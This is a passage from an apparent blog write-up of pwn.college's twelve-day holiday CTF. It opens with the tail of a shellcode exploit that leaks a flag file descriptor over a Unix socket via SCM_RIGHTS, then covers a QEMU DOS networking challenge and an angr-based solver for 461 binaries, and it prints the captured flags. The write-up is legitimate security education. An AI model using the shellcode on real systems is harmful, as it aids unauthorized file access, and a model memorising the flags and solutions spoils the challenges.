    xor r10d, r10d
    mov eax, 257
    syscall

    mov r12, rax    /* FD*/

    sub rsp, 0x80

    mov byte ptr [rsp+0x68], 'X'
    lea rax, [rsp+0x68]
    mov [rsp+0x40], rax         /* iov_base */
    mov qword ptr [rsp+0x48], 1 /* iov_len */

    mov qword ptr [rsp+0x50], 20   /* cmsg_len */
    mov dword ptr [rsp+0x58], 1    /* SOL_SOCKET */
    mov dword ptr [rsp+0x5c], 1    /* SCM_RIGHTS */
    mov eax, r12d
    mov [rsp+0x60], eax  

    xor rax, rax
    mov [rsp+0x00], rax            /* msg_name */
    mov [rsp+0x08], rax            /* msg_namelen */
    lea rax, [rsp+0x40]
    mov [rsp+0x10], rax            /* msg_iov */
    mov qword ptr [rsp+0x18], 1    /* msg_iovlen */
    lea rax, [rsp+0x50]
    mov [rsp+0x20], rax            /* msg_control */
    mov qword ptr [rsp+0x28], 24   /* msg_controllen */
    xor rax, rax
    mov [rsp+0x30], rax            /* msg_flags */

    /* sendmsg(1, msg, 0) */
    mov edi, 1
    mov rsi, rsp
    xor edx, edx
    mov eax, 46
    syscall

    /* Exit group */
    xor edi, edi
    mov eax, 231
    syscall
'''

payload = asm(shellcode_asm)

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
    sock.connect(SOCKET_PATH)
except FileNotFoundError:
    print("Error")
    exit()

process = subprocess.Popen(
    [BINARY_PATH], 
    stdin=subprocess.PIPE, 
    stdout=sock.fileno(),
    stderr=subprocess.PIPE
)

process.stdin.write(payload)
process.stdin.flush()

time.sleep(1)
print("Send done")
Click to view get_flag.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
import struct
import os

SOCKET_PATH = "./socket"

if os.path.exists(SOCKET_PATH):
    os.remove(SOCKET_PATH)

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind(SOCKET_PATH)
server.listen(1)

print(f"Waiting...")

conn, addr = server.accept()
print("Connected")

data_len = 100
ancillary_len = socket.CMSG_LEN(4) 

data, ancdata, flags, addr = conn.recvmsg(data_len, ancillary_len)

recv_fd = 0
for cmsg_level, cmsg_type, cmsg_data in ancdata:
    if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
        recv_fd = struct.unpack('i', cmsg_data[:4])[0]
        print(f"Recieve FD: {recv_fd}")
        break

if recv_fd > 0:
    try:
        os.lseek(recv_fd, 0, os.SEEK_SET)
        
        flag_content = os.read(recv_fd, 1024)
        print(f"FLAG: {flag_content.decode()}")
        
        os.close(recv_fd)
    except OSError as e:
        print(f"Error FD: {e}")
else:
    print("No fd")

conn.close()
server.close()
os.remove(SOCKET_PATH)

Flag: pwn.college{UXZOqF3EGChF5M3hiPbsTqz5vQR.0VO1EjMywiN1UDN0EzW}


Day11


Description

🎅🎄 A Surprise From the Bottom of Santa’s Bag…
While Santa was unloading gifts this year, something thumped at the very bottom of his Christmas bag.
After brushing off a blizzard of stale cookie crumbs ❄️🍪, he discovered…

🖥️ A BRAND NEW COMPUTER! 💾
(Brand new… in 1994, that is.)

It comes with a stack of vintage floppy disks, a power brick that absolutely should not be this warm 🔌🔥, and a handwritten North Pole Tech Support card that simply reads:

“Good luck setting it up! Ho-ho-retro!”

So fire up that beige box, pop in a floppy or three, and prepare yourself—
because nothing says Happy Holidays like convincing 30-year-old hardware to connect to the network! 🎁

When things inevitably go sideways, don’t panic—
📞 NORTH POLE TECH SUPPORT: 1-800-242-8478
🧝‍♂️🔧 North Pole elves are standing by to assist you with any tech-support needs.
Seriously. Call them. They’d be happy to help; just let them know what you’re seeing.

Once you’ve got the system up and running—and after you’ve battled the screeching modem 📡 to get online—
🎁 connect to 192.168.13.37 on port 1337 to earn your flag.


NOTE: This challenge requires a GUI to interact with the vintage computer, and so must be accessed through the desktop interface.


Analysis

Click to view launch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
#!/usr/bin/exec-suid --real -- /bin/bash

set -euo pipefail
umask 077

cd /challenge

mkdir -p "/challenge/work"

DOS_IMG="/challenge/work/qemu-dos-$$.raw"
MONITOR_PIPE="/challenge/work/qemu-monitor-$$"
SNAPSHOT_FILE="/challenge/work/dos-snapshot"

BRIDGE_NAME="br-qemu$$"
TAP_DOS="tap-dos$$"
FLAG_NS="nsflag$$"
VETH_HOST="vfh$$"
VETH_NS="vfn$$"

FLAG_SERVER_IP="192.168.13.37"
FLAG_SERVER_PORT=1337

DOS_PID=""
CAT_PID=""
FLAG_SERVER_PID=""

if [ -z "${DISPLAY-}" ]; then
    echo "You must run this script from the desktop environment!"
    exit 1
fi

# Type content to QEMU via sendkey commands
# $1: monitor fifo
# $2: content to type
# $3: if set, press Home after every newline (to fight autoindent)
type_content() {
    local monitor_fifo="$1"
    local content="$2"
    local home_after_newline="$3"

    while IFS= read -r -n1 char; do
        [ -z "$char" ] && char=$'\n'
        key=""
        case "$char" in
            [a-z]) key="$char" ;;
            [A-Z]) key="shift-$(echo "$char" | tr '[:upper:]' '[:lower:]')" ;;
            [0-9]) key="$char" ;;
            ' ') key="spc" ;;
            $'\n') key="ret" ;;
            $'\t') key="tab" ;;
            '-') key="minus" ;;
            '=') key="equal" ;;
            '[') key="bracket_left" ;;
            ']') key="bracket_right" ;;
            ';') key="semicolon" ;;
            "'") key="apostrophe" ;;
            '`') key="grave_accent" ;;
            '\\') key="backslash" ;;
            ',') key="comma" ;;
            '.') key="dot" ;;
            '/') key="slash" ;;
            '!') key="shift-1" ;;
            '@') key="shift-2" ;;
            '#') key="shift-3" ;;
            '$') key="shift-4" ;;
            '%') key="shift-5" ;;
            '^') key="shift-6" ;;
            '&') key="shift-7" ;;
            '*') key="shift-8" ;;
            '(') key="shift-9" ;;
            ')') key="shift-0" ;;
            '_') key="shift-minus" ;;
            '+') key="shift-equal" ;;
            '{') key="shift-bracket_left" ;;
            '}') key="shift-bracket_right" ;;
            ':') key="shift-semicolon" ;;
            '"') key="shift-apostrophe" ;;
            '~') key="shift-grave_accent" ;;
            '|') key="shift-backslash" ;;
            '<') key="shift-comma" ;;
            '>') key="shift-dot" ;;
            '?') key="shift-slash" ;;
            *) continue ;;  # Skip unsupported characters
        esac
        if [ -n "$key" ]; then
            echo "sendkey $key" > "$monitor_fifo"
            sleep 0.05
            # Press Home after newline if requested
            if [ -n "$home_after_newline" ] && [ "$key" = "ret" ]; then
                echo "sendkey home" > "$monitor_fifo"
                sleep 0.005
            fi
        fi
    done <<< "$content"
}

monitor_menu() {
    local monitor_fifo="$1"

    local term_height term_width
    term_height=$(tput lines 2>/dev/null || echo 24)
    term_width=$(tput cols 2>/dev/null || echo 80)
    local menu_height=$((term_height * 80 / 100))
    local menu_width=$((term_width * 80 / 100))
    [ $menu_height -lt 15 ] && menu_height=15
    [ $menu_height -gt 40 ] && menu_height=40
    [ $menu_width -lt 50 ] && menu_width=50
    [ $menu_width -gt 100 ] && menu_width=100
    local list_height=$((menu_height - 8))

    while true; do
        choice=$(whiptail --title "QEMU Floppy/System Control" --menu "Select an action:" $menu_height $menu_width $list_height \
            "load"      "Load floppy disk" \
            "paste"     "Paste clipboard contents" \
            "paste-home" "Paste clipboard (Home after newline)" \
            "eject"     "Eject floppy" \
            "snapshot"  "Snapshot disk" \
            "reboot"    "Reboot system" \
            "quit"      "Quit" \
            3>&1 1>&2 2>&3) || choice="quit"

        case "$choice" in
            load)
                # Build list of floppy images
                mapfile -t disks < <(find "/challenge/disks" -type f 2>/dev/null | sort)

                if [ ${#disks[@]} -eq 0 ]; then
                    whiptail --title "Error" --msgbox "No floppy images found in disks/" $((menu_height / 2)) $((menu_width / 2))
                    continue
                fi

                # Build menu items for whiptail
                menu_items=()
                for i in "${!disks[@]}"; do
                    rel_path="${disks[$i]#/challenge/disks/}"
                    menu_items+=("$i" "$rel_path")
                done

                disk_choice=$(whiptail --title "Select Floppy Disk" --menu "Available images:" $menu_height $menu_width $list_height \
                    "${menu_items[@]}" \
                    3>&1 1>&2 2>&3) || continue

                selected="${disks[$disk_choice]}"
                echo "change floppy0 $selected" > "$monitor_fifo"
                whiptail --title "Success" --msgbox "Loaded: ${selected#/challenge/}" $((menu_height / 2)) $menu_width
                ;;
            paste|paste-home)
                # Get clipboard contents
                content="$(xclip -selection clipboard -o 2>/dev/null || xsel --clipboard --output 2>/dev/null || "")"

                if [ -z "$content" ]; then
                    whiptail --title "Error" --msgbox "Clipboard is empty or xclip/xsel not available" $((menu_height / 2)) $menu_width
                    continue
                fi

                # Check if content starts with "pwn"
                if [[ "$content" == pwn* ]]; then
                    whiptail --title "Error" --msgbox "Clipboard content cannot start with 'pwn'" $((menu_height / 2)) $menu_width
                    continue
                fi

                whiptail --title "Pasting" --infobox "Sending keystrokes..." $((menu_height / 3)) $((menu_width / 2))
                if [ "$choice" = "paste-home" ]; then
                    type_content "$monitor_fifo" "$content" 1
                else
                    type_content "$monitor_fifo" "$content"
                fi
                whiptail --title "Success" --msgbox "Finished pasting clipboard contents" $((menu_height / 2)) $menu_width
                ;;
            eject)
                echo "eject floppy0" > "$monitor_fifo"
                whiptail --title "Success" --msgbox "Floppy ejected" $((menu_height / 2)) $((menu_width / 2))
                ;;
            snapshot)
                whiptail --title "Snapshot" --infobox "Flushing disk and creating snapshot..." $((menu_height / 3)) $menu_width
                # Commit any pending writes to disk
                echo "commit ide0-hd0" > "$monitor_fifo"
                sleep 1
                # Copy the disk image to dos-snapshot
                cp "$DOS_IMG" "$SNAPSHOT_FILE"
                whiptail --title "Success" --msgbox "Snapshot saved" $((menu_height / 2)) $menu_width
                ;;
            reboot)
                echo "system_reset" > "$monitor_fifo"
                whiptail --title "Success" --msgbox "System reset sent" $((menu_height / 2)) $((menu_width / 2))
                ;;
            quit)
                echo "quit" > "$monitor_fifo"
                return 0
                ;;
        esac
    done
}

cleanup() {
    [ -n "$FLAG_SERVER_PID" ] && kill "$FLAG_SERVER_PID" 2>/dev/null || true
    [ -n "$DOS_PID" ] && kill "$DOS_PID" 2>/dev/null || true
    [ -n "$CAT_PID" ] && kill "$CAT_PID" 2>/dev/null || true
    rm -f "${MONITOR_PIPE}.in" "${MONITOR_PIPE}.out" 2>/dev/null || true
    ip netns del "$FLAG_NS" 2>/dev/null || true
    ip link set "$TAP_DOS" down 2>/dev/null || true
    ip link del "$TAP_DOS" 2>/dev/null || true
    ip link del "$VETH_HOST" 2>/dev/null || true
    ip link set "$BRIDGE_NAME" down 2>/dev/null || true
    ip link del "$BRIDGE_NAME" 2>/dev/null || true
    rm -f "$DOS_IMG"
    exit 0
}

umask 077
trap cleanup EXIT INT TERM

if [ -f "$SNAPSHOT_FILE" ]; then
    cp "$SNAPSHOT_FILE" "$DOS_IMG"
else
    qemu-img create -f raw "$DOS_IMG" 512M
    parted "$DOS_IMG" --script mklabel msdos mkpart primary fat32 1MiB 100% set 1 boot on 2>/dev/null
fi

ip link add "$BRIDGE_NAME" type bridge
ip link set "$BRIDGE_NAME" up

# Create tap device for DOS VM (restricted to current user and group)
ip tuntap add dev "$TAP_DOS" mode tap user "$(whoami)" group "$(id -gn)"
ip link set "$TAP_DOS" master "$BRIDGE_NAME"
ip link set "$TAP_DOS" up

ip netns add "$FLAG_NS"
ip link add "$VETH_HOST" type veth peer name "$VETH_NS"
ip link set "$VETH_HOST" master "$BRIDGE_NAME"
ip link set "$VETH_HOST" up
ip link set "$VETH_NS" netns "$FLAG_NS"
ip netns exec "$FLAG_NS" ip link set lo up
ip netns exec "$FLAG_NS" ip link set "$VETH_NS" up
ip netns exec "$FLAG_NS" ip addr add "${FLAG_SERVER_IP}/24" dev "$VETH_NS"

ip netns exec "$FLAG_NS" socat "TCP-LISTEN:${FLAG_SERVER_PORT},bind=${FLAG_SERVER_IP},reuseaddr,fork" SYSTEM:"cat /flag" &
FLAG_SERVER_PID=$!

mkfifo "${MONITOR_PIPE}.in"
mkfifo "${MONITOR_PIPE}.out"

qemu-system-x86_64 \
    -name dos \
    -m 16M \
    -smp 1 \
    -drive file="$DOS_IMG",format=raw,if=ide \
    -boot d \
    -netdev tap,id=net0,ifname="$TAP_DOS",script=no,downscript=no \
    -device pcnet,netdev=net0,mac=52:54:00:12:34:56 \
    -monitor pipe:"$MONITOR_PIPE" \
    -parallel none \
    -vga cirrus \
    >&/dev/null &

DOS_PID=$!

# Open the output pipe to prevent blocking, discard output
cat "${MONITOR_PIPE}.out" > /dev/null &
CAT_PID=$!

# Wait a moment for QEMU to open the pipes
sleep 1

monitor_menu "${MONITOR_PIPE}.in"
wait $DOS_PID 2>/dev/null || true

Overall, the challenge is a QEMU DOS VM controlled via TUI menu so we must use desktop interface to interact with it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ip link add "$BRIDGE_NAME" type bridge
ip link set "$BRIDGE_NAME" up

# tap device for DOS VM
ip tuntap add dev "$TAP_DOS" mode tap user "$(whoami)" group "$(id -gn)"
ip link set "$TAP_DOS" master "$BRIDGE_NAME"
ip link set "$TAP_DOS" up

ip netns add "$FLAG_NS"
ip link add "$VETH_HOST" type veth peer name "$VETH_NS"
ip link set "$VETH_HOST" master "$BRIDGE_NAME"
ip link set "$VETH_HOST" up
ip link set "$VETH_NS" netns "$FLAG_NS"
ip netns exec "$FLAG_NS" ip link set lo up
ip netns exec "$FLAG_NS" ip link set "$VETH_NS" up
ip netns exec "$FLAG_NS" ip addr add "${FLAG_SERVER_IP}/24" dev "$VETH_NS"

ip netns exec "$FLAG_NS" socat \
    "TCP-LISTEN:${FLAG_SERVER_PORT},bind=${FLAG_SERVER_IP},reuseaddr,fork" \
    SYSTEM:"cat /flag" &

This part creates a bridge br-qemu$$, connect a tap device tap-dos$$ for the DOS VM to the device and creates a veth pair vfh$$–vfn$$

  • vfh$$ is also connected to the bridge.
  • vfn$$ is placed in a separate network namespace nsflag$$ namespace with IP 192.168.13.37/24.

After searching on the internet, I found that:

  • Bridge is a virtual Layer-2 switch that connect multiple interfaces together so they share the same broadcast domain. Layer-2 swith (Switch Layer 2) forwards Ethernet frames between its ports based on MAC addresses, so all attached interfaces share the same LAN.
  • Tap act like a cable that connect the VM to the bridge.
  • Veth pair (Virtual Ethernet pair) is a pair of interfaces joined back-to-back: any packet sent into one end comes out the other, which is perfect for connecting a network namespace to the host or to a bridge.

Inside nsflag$$, it runs

1
socat "TCP-LISTEN:1337,bind=192.168.13.37,reuseaddr,fork" SYSTEM:"cat /flag"

So the network look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
          (host namespace)
        +------------------+
        |                  |
        |   br-qemu$$      |
        |    /      \      |
        | tap-dos$$  vfh$$ |
        +----|--------|----+
             |        |
             |        |
       [ DOS VM ]  (veth)
                       \
                        \       (netns: nsflag$$)
                         +-----------------------------+
                         | vfn$$ @ 192.168.13.37/24    |
                         |                             |
                         | socat TCP:1337 -> cat /flag |
                         +-----------------------------+

So the idea is to make DOS network working and connect to 192.168.13.37:1337 inside DOS to get the flag


Exploitation

Menu TUI

Desktop View

1
2
3
4
5
6
7
load       Load floppy disk
paste      Paste clipboard contents
paste-home Paste clipboard (Home after newline)
eject      Eject floppy
snapshot   Snapshot disk
reboot     Reboot system
quit       Quit

We have several floppy images in /challenge/disks:

  • dos – DOS tools / installer.
  • lanman - LAN manager network client.
  • mtcp - mTCP
  • pcnet - PCnet packet driver for DOS.
  • turbocpp - Turbo C++.

So the plan is:

  • Boot into DOS.
  • Load pcnet packet driver from pcnet.
  • Load and copy mtcp tools to C: and configure MTCPCFG.
  • Use mTCP’s TELNET.EXE to connect to 192.168.13.37:1337.

My setup is based on this

Boot into DOS

There’re 3 disk in DOS need to be boot. I first load disk1.img and then reboot system, then setup.

Desktop View Desktop View

Desktop View Desktop View

Desktop View Desktop View

load more disk2.img and disk3.img

Desktop View Desktop View

Then eject (remove) the floppy.

Desktop View Desktop View

After completed, we have DOS prompt:

Desktop View

Load pcnet packet driver

Load pcnet/disk1.vfd into DOS. After loaded, all files are in A: drive.

1
2
A:
DIR

Desktop View

On this disk there is a directory PKTDRVR containing the packet driver

1
2
cd PKTDRVR
DIR

Desktop View

We see a file like: PCNTPK COM which is the PCnet packet driver. Load driver for PCNet into DOS usage

1
PCNTPK INT=0x60

PCNTPK INT=0x60 starts the network driver for the PCNet card, making it a permanent program (TSR) and attaching it to software interrupt 0x60. From there, DOS programs like mTCP can use INT 0x60 to send/receive packets over the network card without needing to manually access the hardware.

Desktop View

Load and copy mtcp tools to C: and configure MTCPCFG

Load and copy to C:\MTCP so that if we reboot, the files are still there.

1
2
3
4
C:
MD MTCP
CD \MTCP
COPY A:\*.* C:\MTCP

Desktop View

Configure MTCPCFG file with EDIT MTCPCFG command.:

1
2
3
4
5
PACKETINT 0x60
IPADDR 192.168.13.10   ; anything that isn't 37
NETMASK 255.255.255.0
GATEWAY 192.168.13.1
HOSTNAME DOSBOX

Desktop View

Then set the environment variable:

1
SET MTCPCFG=C:\MTCP\MTCPCFG

Use mTCP’s TELNET.EXE to connect to get flag

Run telnet 192.168.13.37 1337 to connect.

Desktop View

Flag: pwn.college{si3LNe3r3ZKte0r3FssuxokIS1k.0lM2EjMywiN1UDN0EzW}


Day12


Description

Earlier this season, you pulled off a holiday miracle by helping Santa compute the legendary Naughty-or-Nice List™ from scratch.
With Christmas approaching, Santa sat down to perform his time-honored ritual:
check the list once, then check it again.

But this year, both checks led to the same unsettling result.

Instead of the tidy columns of names and verdicts he expected, Santa found the list filled with unreadable, unintelligible… stuff.
Not names. Not classifications. Not even coal-worthy scribbles.
Just sheer, bewildering nonsense.

The elves are whispering about misaligned enchantments.
Rudolph blames a “data blizzard.”
Santa insists he followed the procedure correctly, which only raises more questions.

One thing’s clear:

🎅 The list you computed is there — it’s just not making sense to anyone yet.

Now it’s up to you to dig into the underlying structure, figure out what the list should say, and help Santa restore order before the sleigh leaves the hangar.

Because if Santa checks it a third time and it’s still nonsense…
Christmas may get cancelled this year.

Only you can save Christmas!


Analysis

Click to view checklist
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
set -eu

for path in /challenge/naughty-or-nice/*; do
    [ -f "$path" ] || continue
    digest=$(basename "$path")
    input="/list/$digest"

    if [ ! -f "$input" ]; then
        echo "$digest: missing"
        exit 1
    fi

    if output=$("$path" < "$input" 2>&1); then
        cat "$input"
    else
        echo "$digest: $output"
        exit 1
    fi
done
Click to view run
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/exec-suid -- /bin/bash -p

set -euo pipefail
umask 077

if [ "$#" -ne 1 ]; then
    echo "usage: $0 <list>" >&2
    exit 1
fi

LIST_SRC="$1"
if [ ! -d "$LIST_SRC" ]; then
    echo "error: list must be a directory" >&2
    exit 1
fi

LOG_FILE="$(mktemp)"
cleanup() { rm -f "$LOG_FILE"; }
trap cleanup EXIT

if ! qemu-system-x86_64 \
    -machine accel=tcg \
    -cpu max \
    -m 512M \
    -nographic \
    -no-reboot \
    -kernel /boot/vmlinuz \
    -initrd /boot/initramfs.cpio.gz \
    -append "console=ttyS0 quiet panic=-1 rdinit=/init" \
    -fsdev local,id=list_fs,path="$LIST_SRC",security_model=none \
    -device virtio-9p-pci,fsdev=list_fs,mount_tag=list \
    -serial stdio \
    -monitor none | tee "$LOG_FILE"; then
    echo "error: VM execution failed" >&2
    exit 1
fi

if grep -q "NAUGHTY" "$LOG_FILE"; then
    exit 1
fi

if ! grep -q "NICE" "$LOG_FILE"; then
    exit 1
fi

cat /flag

Overall, we’re given checklist, run and a folder /challenge/naughty-or-nice/ containing 461 ELF files.

run recieves parameter $1 which is a directory path $LIST_SRC and mounts it to the QEMU VM with mount tag list. All output from the VM will be written to $LOG_FILE.

Win condition:

  • grep -q "NAUGHTY" "$LOG_FILE" If the log contains NAUGHTY, exit 1 (fail).
  • grep -q "NICE" "$LOG_FILE" If the log does not contain NICE, exit 1 (fail).
  • If both conditions are passed: cat /flag

checklist will be executed inside the VM:

  • Interate through all files in /challenge/naughty-or-nice/* (These are executables files available in /challenge/naughty-or-nice/) and the filename is assigned to digest.
  • It searches for the corresponding input file in the /list/ directory (this directory is the $LIST_SRC directory you provided on the host machine).

For example: If it contains the binary /challenge/naughty-or-nice/abc123, it will search for the input file /list/abc123.

  • $path" < "$input: It runs the binary $path and redirects the contents of your input file ($input) to that binary’s stdin.
  • If the binary runs successfully (exit code 0), it will output the contents of the input file. If fails, it prints the error along with the digest and exits with code 1.

Let’s analyze one of the ELF files in /challenge/naughty-or-nice/. Overall, it read 0x100 bytes from stdin and using AVX instructions to performs a series of arithmetic calculations then compares each bytes of the transformation with a target constant. If all bytes match, it print our input and returns 0; otherwise, it returns -1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
void __noreturn start()
{
  signed __int64 v3314; // rax
  signed __int64 v3315; // rax
  signed __int64 v3316; // rax
  signed __int64 v3317; // rax
  __m256 buf; // [rsp+100h] [rbp-100h] BYREF

  _RAX = sys_read(0, (char *)&buf, 0x100u);
  __asm
  {
    vmovdqu ymm0, [rbp+var_20]
    vmovdqu ymm1, cs:ymmword_416B49
    vpsubb  ymm2, ymm0, ymm1
    vmovdqu [rbp+var_20], ymm2
    vmovdqu ymm0, [rbp+var_E0]
    vmovdqu ymm1, cs:ymmword_40B0AE+3
    vpaddb  ymm2, ymm0, ymm1
    vmovdqu [rbp+var_E0], ymm2
    vmovdqu ymm0, [rbp+var_C0]
    vmovdqu ymm1, cs:ymmword_4102A9
    ......
    vpsubb  ymm2, ymm0, ymm1
    vmovdqu [rbp+buf], ymm2
    vmovdqu ymm0, [rbp+buf]
    vpcmpeqb ymm1, ymm0, cs:ymmword_408080
    vpmovmskb eax, ymm1
  }
  if ( (_DWORD)_RAX == -1 )
  {
    __asm
    {
      vmovdqu ymm0, [rbp+var_E0]
      vpcmpeqb ymm1, ymm0, cs:ymmword_4080A0
      vpmovmskb eax, ymm1
    }
    if ( _EAX == -1 )
    {
      __asm
      {
        vmovdqu ymm0, [rbp+var_C0]
        vpcmpeqb ymm1, ymm0, cs:ymmword_4080C0
        vpmovmskb eax, ymm1
      }
      if ( _EAX == -1 )
      {
        __asm
        {
          vmovdqu ymm0, [rbp+var_A0]
          vpcmpeqb ymm1, ymm0, cs:ymmword_4080E0
          vpmovmskb eax, ymm1
        }
        if ( _EAX == -1 )
        {
          __asm
          {
            vmovdqu ymm0, [rbp+var_80]
            vpcmpeqb ymm1, ymm0, cs:ymmword_408100
            vpmovmskb eax, ymm1
          }
          if ( _EAX == -1 )
          {
            __asm
            {
              vmovdqu ymm0, [rbp+var_60]
              vpcmpeqb ymm1, ymm0, cs:ymmword_408120
              vpmovmskb eax, ymm1
            }
            if ( _EAX == -1 )
            {
              __asm
              {
                vmovdqu ymm0, [rbp+var_40]
                vpcmpeqb ymm1, ymm0, cs:ymmword_408140
                vpmovmskb eax, ymm1
              }
              if ( _EAX == -1 )
              {
                __asm
                {
                  vmovdqu ymm0, [rbp+var_20]
                  vpcmpeqb ymm1, ymm0, cs:ymmword_408160
                  vpmovmskb eax, ymm1
                }
                if ( _EAX == -1 )
                {
                  v3314 = sys_write(1u, &::buf, 0x31u);
                  v3315 = sys_exit(0);
                }
              }
            }
          }
        }
      }
    }
  }
  v3316 = sys_write(1u, &byte_408032, 0x35u);
  v3317 = sys_exit(1);
}

So the challenge the same as Day01 but with more files and complex transformations.


Exploitation

I’ll use angr to solve each file. Our goal is to find an input of 0x100 bytes that make the program return Exit code 0. Our target is to create a input file for each ELF file in /challenge/naughty-or-nice/ so that it returns 0 and print our input (which contains NICE).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
EXIT_SYSCALL = 60

def is_exit_with_code(state, code):
    # 1. Check if the last action was a syscall
    if state.history.jumpkind != 'Ijk_Sys_syscall':
        return False

    try:
        # 2. Get the values of rax (syscall number) and rdi (first argument)
        syscall_num = state.solver.eval(state.regs.rax)
        status = state.solver.eval(state.regs.rdi)
    except Exception:
        return False

    # 3. Check if it's an exit syscall with the desired status code
    return syscall_num == EXIT_SYSCALL and status == code

simgr.explore(
    find=lambda s: is_exit_with_code(s, 0),
    avoid=lambda s: is_exit_with_code(s, 1),
)

Full script here:

Click to view full check.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import angr
import claripy
import os
import sys
import stat

# Input dir
BINARY_DIR = "./ls"
# Output dir
OUTPUT_DIR = "./list"

EXIT_SYSCALL = 60

def is_exit_with_code(state, code):
    if state.history.jumpkind != 'Ijk_Sys_syscall':
        return False

    try:
        syscall_num = state.solver.eval(state.regs.rax)
        status = state.solver.eval(state.regs.rdi)
    except Exception:
        return False

    return syscall_num == EXIT_SYSCALL and status == code


def solve_binary(binary_path):
    print(f"[*] Solving {os.path.basename(binary_path)}...")
    
    p = angr.Project(binary_path, load_options={"auto_load_libs": False})

    input_len = 0x100
    input_chars = [claripy.BVS(f"byte_{i}", 8) for i in range(input_len)]
    input_ast = claripy.Concat(*input_chars)

    state = p.factory.entry_state(
        stdin=input_ast,
        add_options=angr.options.unicorn
    )
    simgr = p.factory.simulation_manager(state)

    simgr.explore(
        find=lambda s: is_exit_with_code(s, 0),
        avoid=lambda s: is_exit_with_code(s, 1),
    )

    if simgr.found:
        found_state = simgr.found[0]
        solution = found_state.posix.dumps(0)
        return solution[:input_len]
    else:
        print(f"[!] Failed to solve {binary_path}")
        return None

def main():
    if not os.path.exists(OUTPUT_DIR):
        os.makedirs(OUTPUT_DIR)

    files = os.listdir(BINARY_DIR)
    total = len(files)
    
    for i, filename in enumerate(files):
        bin_path = os.path.join(BINARY_DIR, filename)
        out_path = os.path.join(OUTPUT_DIR, filename)
        
        if not os.path.isfile(bin_path):
            continue
            
        st = os.stat(bin_path)
        os.chmod(bin_path, st.st_mode | stat.S_IEXEC)

        solution = solve_binary(bin_path)
        
        if solution:
            with open(out_path, "wb") as f:
                f.write(solution)
            print(f"[+] ({i+1}/{total}) Solved {filename}")
        else:
            with open(out_path, "wb") as f:
                f.write(b'\x00' * 256)

if __name__ == "__main__":
    main()

Because there are 461 files so I’ll split into 4 processes to speed up:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash

mkdir -p ls1 ls2 ls3 ls4

count=0

for file in ./abc/*; do
    if [ -f "$file" ]; then
        target_dir="ls$(( (count % 4) + 1 ))"
        
        mv "$file" "$target_dir/"
        
        ((count++))
    fi
done

echo "Done"

Desktop View

Get flag:

Desktop View

Flag: pwn.college{UD1pycIr14DZ0bB671BGWq449BN.0VN2EjMywiN1UDN0EzW}

Special things recived from pwn.college:

Desktop View


Epilogue

Special thanks to pwn.college team for an amazing Christmas event. After 12 days “try hard”, I finished the event in the 12th place on the leaderboard - a memorable achivement to end this year!🎄🚀

Desktop View

This post is licensed under CC BY 4.0 by the author.